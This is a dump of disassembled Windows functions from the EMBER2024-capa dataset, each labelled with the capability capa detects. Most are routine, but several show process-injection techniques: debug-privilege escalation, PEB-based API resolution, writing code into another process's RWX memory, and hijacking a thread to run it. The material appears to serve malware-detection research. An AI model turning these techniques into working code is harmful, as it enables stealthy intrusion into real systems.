joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa67f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0xa7c9fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0xa68002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00a6bdff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0xa68002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.00a636e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.00a6c20b
push 0x10
call fcn.00a6c1d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0xa67fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.00a581c0
jmp 0xa67fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00a67b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0xa67ff0
mov ecx, edi
call fcn.00a582c0
push edi
call fcn.00a6c1c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0xa68021
inc ebx
cmp ebx, 0x20
jb 0xa67f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0xa69250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa7d808
push 0xa6d288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xa69329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xa69329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00a6c1d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xa69329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xa69329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xa6932c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00a69351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xa69d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xa69d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xa69d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xa69d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xa69d94
push eax
push esi
call fcn.00a6c20b
add esp, 8
pop esi
ret 0x10

Function at 0xa69da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xa69e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xa69e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xa82320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00a6bdff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xa69dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xa69e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xa69ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xa69eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xa82320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00a6bdff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xa69eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xa69e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xa6a000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xa6a131
push esi
call fcn.00a6d145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00a5c080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xa6a131
push 0
push ebp
call fcn.00a5c3a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00a5c260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xa6a08b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00a5c2f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xa6a121
push 0xa82918
push edi
call fcn.00a6b3f0
push eax
push ebx
push esi
call fcn.00a69f60
push 0xa828f8
push edi
call fcn.00a6b3f0
push eax
push ebx
push esi
call fcn.00a69f60
push 0xa828d8
push edi
call fcn.00a6b3f0
push eax
push ebx
push esi
call fcn.00a69f60
push 0xa828c0
push edi
call fcn.00a6b3f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00a69f60
push 0xa828a0
push edi
call fcn.00a6b3f0
push eax
push ebx
push esi
call fcn.00a69f60
push 0xa82888
push edi
call fcn.00a6b3f0
push eax
push ebx
push esi
call fcn.00a69f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xa6b1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00a6b140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00a6b140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00a6b140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00a6b140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xa6bbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xa6bc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xa7d87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xa6bc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xa6bc52
xor eax, eax
pop esi
leave
ret 4
Function at 0x4018c1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
sub esp, 0x2c
cmp dword [0x40be68], eax
jne 0x401915
push eax
push 0x2c
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [0x4140d4]
test eax, eax
jl 0x401915
xor edx, edx
mov eax, 0x40be68
div dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
jmp 0x401909
cmp word [eax], 0x5a4d
jne 0x401906
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
je 0x401910
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
ja 0x4018f3
jmp 0x401915
mov dword [0x40be68], eax
mov eax, dword [0x40be68]
leave
ret

Function at 0x404839
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
test eax, eax
jne 0x404876
xor eax, eax
leave
ret
add eax, 0x2c
push 1
push eax
call fcn.00406640
cmp dword [ebp + 8], eax
mov eax, dword [ebp - 4]
pop ecx
pop ecx
je 0x40487e
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp dword [eax + 0x18], 0
jne 0x40485c
jmp 0x404858
mov eax, dword [eax + 0x18]
leave
ret

Function at 0x404883
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x34
test ecx, ecx
push ebx
push esi
push edi
je 0x404946
cmp word [ecx], 0x5a4d
jne 0x404946
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x404946
mov esi, dword [eax + 0x78]
test esi, esi
je 0x404946
mov eax, dword [eax + 0x7c]
and dword [ebp - 4], 0
add esi, ecx
mov edi, dword [esi + 0x20]
mov ebx, dword [esi + 0x1c]
add eax, esi
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x24]
add eax, ecx
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x18]
add edi, ecx
add ebx, ecx
test eax, eax
mov dword [ebp - 0x10], eax
jbe 0x404946
mov eax, dword [edi]
add eax, ecx
mov edx, dword [eax]
cmp edx, dword [ebp + 0xc]
jne 0x404938
push 0
push 0
push eax
call fcn.00406a9a
add esp, 0xc
cmp eax, dword [ebp + 0x10]
jne 0x404935
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2]
mov eax, dword [ebx + eax*4]
add eax, dword [ebp + 8]
cmp eax, esi
mov dword [ebp - 0x14], eax
jb 0x404948
cmp eax, dword [ebp - 0xc]
ja 0x404948
push 0x2e
push 0x1c
push eax
call fcn.00406682
add esp, 0xc
test eax, eax
mov dword [ebp - 4], eax
ja 0x40494d
mov ecx, dword [ebp + 8]
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add edi, 4
cmp eax, dword [ebp - 0x10]
jb 0x4048e8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x14]
inc esi
push esi
lea eax, [ebp - 0x34]
push edi
push eax
call fcn.00405d5a
push 4
lea eax, [ebp + esi - 0x34]
push 0x409470
push eax
call fcn.00405d5a
add esi, edi
xor edi, edi
push edi
push edi
push esi
call fcn.00406a9a
add esp, 0x24
push eax
push dword [esi]
lea eax, [ebp - 0x34]
push 1
push edi
push eax
call fcn.00406a9a
push eax
call fcn.00404839
add esp, 0x10
push eax
call fcn.00404883
add esp, 0xc
jmp 0x404948
Function at 0x4026c4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040311c
test esi, esi
jne 0x4026fa
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040320c
jmp 0x402718
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025d8
mov edi, eax
test esi, esi
je 0x402718
cmp dword [ebx], 0
je 0x402718
dec esi
jmp 0x402701
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4028c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40a014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402958
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402938
xor eax, eax
push ebp
push 0x402931
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402974
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402938
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40a014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40a014], ax
mov esp, ebp
pop ebp
ret

Function at 0x402fa0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40b034], 0
je 0x403001
cmp word [0x40b208], 0xd7b2
jne 0x402fc9
cmp dword [0x40b210], 0
jbe 0x402fc9
mov eax, 0x40b204
call dword [0x40b220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40a05c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403028
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40a020], 0
jne 0x40301d
push 0
push 0x40a054
push 0x40a05c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403f68
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403fce
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403344
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004027b4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403fb8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403fd5
lea eax, [ebp - 0x10]
call fcn.0040311c
ret
Function at 0x404cf8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
xor ebx, ebx
mov dword [0x40b690], ebx
xor ebx, ebx
mov dword [0x40b68c], ebx
mov dword [0x40b67c], eax
mov dword [0x40b680], edx
cmp dword [0x40b67c], 0
je 0x404de1
mov eax, dword [0x40b67c]
mov dword [ecx], eax
mov edi, dword [0x40b67c]
mov ax, word [edi]
not ax
cmp ax, 0x5a4d
je 0x404de1
mov esi, dword [edi + 0x3c]
add esi, edi
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x404de1
cmp dword [esi], 0x4550
jne 0x404de1
mov eax, esi
call fcn.00404ce0
test al, al
jne 0x404de1
mov ebx, esi
add ebx, 0xf8
mov ax, word [esi + 6]
cmp ax, 0x64
jae 0x404de1
movzx eax, ax
dec eax
test eax, eax
jl 0x404de1
inc eax
mov esi, eax
mov edx, 0x404dec
mov eax, ebx
mov ecx, 8
call fcn.004045d8
test eax, eax
jne 0x404ddb
mov eax, dword [ebx + 0x14]
add eax, edi
mov dword [0x40b684], eax
mov eax, dword [0x40b684]
call fcn.00404ce0
test al, al
jne 0x404de1
mov eax, dword [0x40b684]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
mov dword [0x40b688], eax
mov eax, dword [ebp + 8]
mov edx, dword [0x40b688]
mov dword [eax], edx
jmp 0x404de1
add ebx, 0x28
dec esi
jne 0x404d91
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x4051dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
mov dword [ebp - 4], ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 1
call fcn.00405150
mov ebx, eax
mov dword [ebp - 0xc], pe_nt_image_headers32
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40523b
mov eax, esi
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.00403344
push ebx
call sub.advapi32.dll_RegCloseKey_1
jmp 0x405248
mov eax, esi
call fcn.0040311c
push ebx
call sub.advapi32.dll_RegCloseKey_1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405288
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x405325
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x19c]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [ebp - 0xc]
call fcn.0040311c
mov eax, dword [ebp - 4]
call fcn.0040355c
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40530f
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x405303
test ebx, ebx
jne 0x405302
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [ebp - 0xc]
call fcn.004047a0
mov eax, dword [esi + ebx*4]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
mov dword [edx], eax
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x4052e5
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40532c
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x405334
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040354c
xor eax, eax
push ebp
push 0x4053b9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.00404534
mov dword [ebp - 0x48], 0x44
mov word [ebp - 0x18], 1
test ebx, ebx
jne 0x405377
lea ebx, [ebp - 0x58]
push ebx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040355c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4053c0
lea eax, [ebp - 4]
call fcn.0040311c
ret
Function at 0x405db0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov esi, eax
xor eax, eax
push ebp
push 0x405f80
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x405b68
sub ebx, 0x405b40
lea eax, [ebp - 0x18]
mov edx, esi
call fcn.00403314
mov eax, dword [ebp - 0x18]
call fcn.0040596c
mov esi, eax
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [0x40b6f0], eax
cmp dword [0x40b6f0], 0
je 0x405f6a
push 0x40
push 0x1000
push ebx
push 0
mov eax, dword [0x40b6f0]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x40b6fc], eax
push 4
push 0x1000
mov eax, dword [0x40b7d0]
call fcn.00404788
inc eax
push eax
push 0
mov eax, dword [0x40b6f0]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x40b700], eax
cmp dword [0x40b700], 0
je 0x405f6a
cmp dword [0x40b6fc], 0
je 0x405f6a
push 0x405f90
call sub.kernel32.dll_GetModuleHandleA_1
mov edi, eax
push 0x405fa0
call sub.kernel32.dll_GetModuleHandleA_1
mov esi, eax
push 0x405fac
push edi
call sub.kernel32.dll_GetProcAddress
call fcn.00405b6c
mov dword [ebp - 0xc], eax
push 0x405fbc
push esi
call sub.kernel32.dll_GetProcAddress
call fcn.00405b6c
mov dword [ebp - 0x10], eax
mov eax, dword [0x40b6f8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [0x40b7d0]
call fcn.00404788
inc eax
push eax
mov eax, dword [0x40b7d0]
push eax
mov eax, dword [0x40b700]
push eax
mov eax, dword [0x40b6f0]
push eax
call sub.kernel32.dll_WriteProcessMemory
push ebx
push 0
call sub.kernel32.dll_GlobalAlloc
mov esi, eax
test esi, esi
je 0x405f6a
mov edx, esi
mov eax, 0x405b40
mov ecx, ebx
call fcn.00402598
mov edx, ebx
sub edx, 5
test edx, edx
jl 0x405f4d
inc edx
mov dword [ebp - 4], 0
mov eax, esi
add eax, dword [ebp - 4]
mov ecx, dword [eax]
cmp ecx, 0x11111111
jne 0x405f19
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
jmp 0x405f47
cmp ecx, 0x22222222
jne 0x405f2b
mov ecx, dword [0x40b700]
mov dword [eax], ecx
jmp 0x405f47
cmp ecx, 0x33333333
jne 0x405f3a
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
jmp 0x405f47
cmp ecx, 0x44444444
jne 0x405f47
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x405f03
lea eax, [ebp - 8]
push eax
push ebx
push esi
mov eax, dword [0x40b6fc]
push eax
mov eax, dword [0x40b6f0]
push eax
call sub.kernel32.dll_WriteProcessMemory
push esi
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f87
lea eax, [ebp - 0x18]
call fcn.0040311c
ret
Function at 0x405fcc
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.004057a4
mov dword [0x40b6ec], eax
cmp dword [0x40b6ec], 0
je 0x40606d
cmp dword [0x40b6fc], 0
je 0x40606d
cmp dword [0x40b700], 0
je 0x40606d
mov eax, dword [0x40b6ec]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x40b6ec]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x406054
push esi
lea esi, [esp + 4]
mov edi, 0x40b704
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x40b6fc]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x40b6ec]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x40b6ec]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x406368
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x40b7fc
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.0040311c
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x406402
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x4063f6
test ebx, ebx
jne 0x4063c6
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.004047a0
mov eax, dword [edi]
call fcn.00403c1c
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x406344]
call fcn.00403dd8
add esp, 4
mov eax, dword [edi]
call fcn.00403c24
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x4063b2
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret